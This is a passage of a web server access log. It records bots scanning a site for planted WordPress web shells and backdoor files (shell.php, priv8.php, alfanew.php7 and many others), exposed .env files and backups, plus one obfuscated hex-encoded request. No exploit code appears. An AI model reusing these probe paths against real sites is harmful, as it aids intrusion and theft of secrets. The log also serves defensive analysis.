AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.3.96.162 - - [13/Apr/2025:01:53:46 -0400] "GET /data.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.3.96.162 - - [13/Apr/2025:01:53:48 -0400] "GET /mini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.3.96.162 - - [13/Apr/2025:01:53:51 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.3.96.162 - - [13/Apr/2025:01:53:53 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.3.96.162 - - [13/Apr/2025:01:53:57 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.3.96.162 - - [13/Apr/2025:01:54:02 -0400] "GET /gank.php.PhP HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.3.96.162 - - [13/Apr/2025:01:54:08 -0400] "GET /mt/pekok.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.3.96.162 - - [13/Apr/2025:01:54:16 -0400] "GET /ups.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.3.96.162 - - [13/Apr/2025:01:54:19 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.3.96.162 - - [13/Apr/2025:01:54:22 -0400] "GET /wp.php?Chitoge HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.3.96.162 - - [13/Apr/2025:01:54:29 -0400] "GET /wp-content/plugins/TOPXOH/wDR.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.3.96.162 - - [13/Apr/2025:01:54:33 -0400] "GET /wp-content/themes/sketch/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.3.96.162 - - [13/Apr/2025:01:54:37 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.3.96.162 - - [13/Apr/2025:01:54:42 -0400] "GET /sym403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.3.96.162 - - [13/Apr/2025:01:54:52 -0400] "GET /style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.3.96.162 - - [13/Apr/2025:01:54:57 -0400] "GET /wp-content/plugins/w0rdpr3ssnew/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.3.96.162 - - [13/Apr/2025:01:55:00 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.3.96.162 - - [13/Apr/2025:01:55:03 -0400] "GET /database.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.3.96.162 - - [13/Apr/2025:01:55:07 -0400] "GET /wp-content/plugins/xwp/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.3.96.162 - - [13/Apr/2025:01:55:15 -0400] "GET /wp-content/plugins/anttt/simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.3.96.162 - - [13/Apr/2025:01:55:19 -0400] "GET /wp-content/plugins/instabuilder2/cache/plugins/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.3.96.162 - - [13/Apr/2025:01:55:31 -0400] "GET /wp-content/plugins/instabuilder2/cache/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.3.96.162 - - [13/Apr/2025:01:55:32 -0400] "GET /wp-includes/sodium_compat/src/Core32/Curve25519/Ge/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.3.96.162 - - [13/Apr/2025:01:55:36 -0400] "GET /wp-admin/x.php?action=768776e296b6f286f26796e2a72607e2972647 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.3.96.162 - - [13/Apr/2025:01:55:37 -0400] "GET /wp-content/plugins/wordpresss3cll/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.3.96.162 - - [13/Apr/2025:01:55:42 -0400] "GET /wp-content/plugins/wpyii2/wpyii2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.3.96.162 - - [13/Apr/2025:01:55:47 -0400] "GET /wp-content/plugins/wpputty/wpputty.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.3.96.162 - - [13/Apr/2025:01:55:53 -0400] "GET /wp-content/plugins/dos2unix/dos2unix.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 178.207.193.225 - - [13/Apr/2025:02:04:36 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" 18.223.108.59 - - [13/Apr/2025:02:10:09 -0400] "HEAD / HTTP/1.1" 301 0 "-" "python-requests/2.32.3" 194.135.215.194 - - [13/Apr/2025:02:17:10 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36" 35.91.144.121 - - [13/Apr/2025:02:30:29 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36" 54.187.33.10 - - [13/Apr/2025:03:44:34 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.0 Safari/537.36 Some Company. inc admin.contact@gmail.com" 18.223.108.59 - - [13/Apr/2025:03:55:40 -0400] "HEAD / HTTP/1.1" 301 0 "-" "python-requests/2.32.3" 13.79.31.54 - - [13/Apr/2025:03:56:41 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.79.31.54 - - [13/Apr/2025:03:56:42 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.79.31.54 - - [13/Apr/2025:03:56:43 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.79.31.54 - - [13/Apr/2025:03:56:44 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.79.31.54 - - [13/Apr/2025:03:56:44 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.79.31.54 - - [13/Apr/2025:03:56:45 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.79.31.54 - - [13/Apr/2025:03:56:46 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.79.31.54 - - [13/Apr/2025:03:56:46 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.79.31.54 - - [13/Apr/2025:03:56:47 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.79.31.54 - - [13/Apr/2025:03:56:48 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 89.175.12.245 - - [13/Apr/2025:04:11:02 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 43.153.119.119 - - [13/Apr/2025:04:32:16 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 203.33.203.148 - - [13/Apr/2025:04:33:57 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 132.145.29.111 - - [13/Apr/2025:04:52:01 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 132.145.29.111 - - [13/Apr/2025:04:52:01 -0400] "POST / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 132.145.29.111 - - [13/Apr/2025:04:52:01 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 132.145.29.111 - - [13/Apr/2025:04:52:02 -0400] "POST / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 205.210.31.164 - - [13/Apr/2025:05:15:06 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 45.135.232.50 - - [13/Apr/2025:05:40:41 -0400] "GET /.svn HTTP/1.1" 403 1242 "-" "python-requests/2.32.3" 44.247.240.66 - - [13/Apr/2025:05:49:26 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.0 Safari/537.36 Some Company. inc admin.contact@gmail.com" 137.135.82.76 - - [13/Apr/2025:05:50:02 -0400] "GET /wp-admin/network/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:03 -0400] "GET /.well-known/acme-challenge/fond.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:03 -0400] "GET /wp-includes/css/dist/widgets/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:04 -0400] "GET /assets/app.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:04 -0400] "GET /profile.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:05 -0400] "GET /wp-admin/ccx/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:05 -0400] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:05 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:06 -0400] "GET /navigation.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:06 -0400] "GET /wp-includes/ID3/berlin.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:07 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:07 -0400] "GET /wp-admin/css/colors/blue/blkhfvco.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:08 -0400] "GET /wp-content/uploads/gfwisone.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:08 -0400] "GET /token.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:09 -0400] "GET /sidebar.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:09 -0400] "GET /wp-includes/l10n/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:10 -0400] "GET /wp-content/plugins/lsxvhpg/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:10 -0400] "GET /services.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:11 -0400] "GET /wp-includes/certificates/about.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:11 -0400] "GET /wp-admin/maint/wp-login.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:12 -0400] "GET /css/cloud.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:12 -0400] "GET /indeex.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:13 -0400] "GET /assets/fonts/admin.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:13 -0400] "GET /header.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:14 -0400] "GET /12.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:15 -0400] "GET /wp-includes/language/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:15 -0400] "GET /wp-includes/js/tinymce/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:16 -0400] "GET /wp-includes/random_compat/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:16 -0400] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:16 -0400] "GET /wp-apxupx.php?apx=upx HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:17 -0400] "GET /wp-includes/PHPMailer/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:17 -0400] "GET /cron_job.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:17 -0400] "GET /images/headers/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:18 -0400] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:18 -0400] "GET /wp-includes/css/about.php7 HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:18 -0400] "GET /wp-content/themes/newstoday/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:19 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:19 -0400] "GET /predeploy.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:19 -0400] "GET /wp-admin/themes/index HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:20 -0400] "GET /wp-includes//wp-includes/admin-bar.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:20 -0400] "GET /wp-content/languages/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:21 -0400] "GET /batm.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:21 -0400] "GET /wp-admin/atomlib.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:21 -0400] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:22 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:22 -0400] "GET /back.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:23 -0400] "GET /upload/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:23 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:23 -0400] "GET /favicon.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:24 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:24 -0400] "GET /ioxi001.PhP7 HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:24 -0400] "GET /wp-includes/pomo/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:24 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:25 -0400] "GET /wp-includes/luuf.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:25 -0400] "GET /lock.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:25 -0400] "GET /wp-admin/css/colors/coffee/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:25 -0400] "GET /wp-content/plugins/css-ready-sel/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:26 -0400] "GET /.well-known/acme-challenge/content.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:27 -0400] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:27 -0400] "GET /wp-includes.bak/html-api/about.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:27 -0400] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:28 -0400] "GET /wp-content/plugins/html404/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:28 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:28 -0400] "GET /users.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:29 -0400] "GET /wp-content/themes/h47vbpo2/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:29 -0400] "GET /wp-includes/Text/Diff/Engine/ftp_rmdir.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:29 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:30 -0400] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:30 -0400] "GET /wp-includes/css/dist/block-library/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:30 -0400] "GET /wp-includes/ID3/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:30 -0400] "GET /wp-content/plugins/vheezid/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:31 -0400] "GET /wp-content/uploads/wpr-addons/forms/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:31 -0400] "GET /wp-includes.bak/html-api/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:31 -0400] "GET /jindex.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:32 -0400] "GET /wp-content/updraft/about.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:32 -0400] "GET /wp-content/plugins/npqzdpk/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:32 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:33 -0400] "GET /bitrix/js/seo/ads/client_selector/lang/ru/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:33 -0400] "GET /blog/wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:33 -0400] "GET /status.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:33 -0400] "GET /email.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:34 -0400] "GET /maintenance/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:34 -0400] "GET /wp-includes/class-controller-theme-comment.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:34 -0400] "GET /wp-includes/pomo/yellow.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:35 -0400] "GET /wp-content/plugins/classic-editor/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:35 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:35 -0400] "GET /wp-includes/repeater.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:36 -0400] "GET /.well-known/content.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:36 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:36 -0400] "GET /chosen HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:37 -0400] "GET /priv8.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:37 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:37 -0400] "GET /.well-known/kwggvpup.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:37 -0400] "GET /wp-content/plugins/widget-logic/ui.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:38 -0400] "GET /configure.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:38 -0400] "GET /wp-content/plugins/qufeaoy/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:38 -0400] "GET /.well-known/pki-validation/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:38 -0400] "GET /assets/cms/plugins/ckfinder/_samples/php/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:39 -0400] "GET /wp-includes/html-api/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:39 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:39 -0400] "GET /credits.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:39 -0400] "GET /.well-known/acme-challenge/classsmtps.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:40 -0400] "GET /wp-admin/sx.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:40 -0400] "GET /log.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:40 -0400] "GET /wp-includes/qw.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:41 -0400] "GET /wp-content/plugins/sfdfryt/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:41 -0400] "GET /wp-includes/css/dist/edit-widgets/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:41 -0400] "GET /auth.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:42 -0400] "GET /wp-content/plugins/ubh/1.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:42 -0400] "GET /wp-includes/ID3/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:42 -0400] "GET /wp-content/plugins/seoo/wsoyanz.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:43 -0400] "GET /pi.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:43 -0400] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:43 -0400] "GET /wp-content/uploads/2018/03/ab.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:43 -0400] "GET /new/transjule.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:44 -0400] "GET /wp-content/plugins/background-image-cropper/tmpls.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:44 -0400] "GET /wp-content/plugins/blwrume/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:50:44 -0400] "GET /.well-known/autoload_classmap.php HTTP/1.1" 301 795 "-" 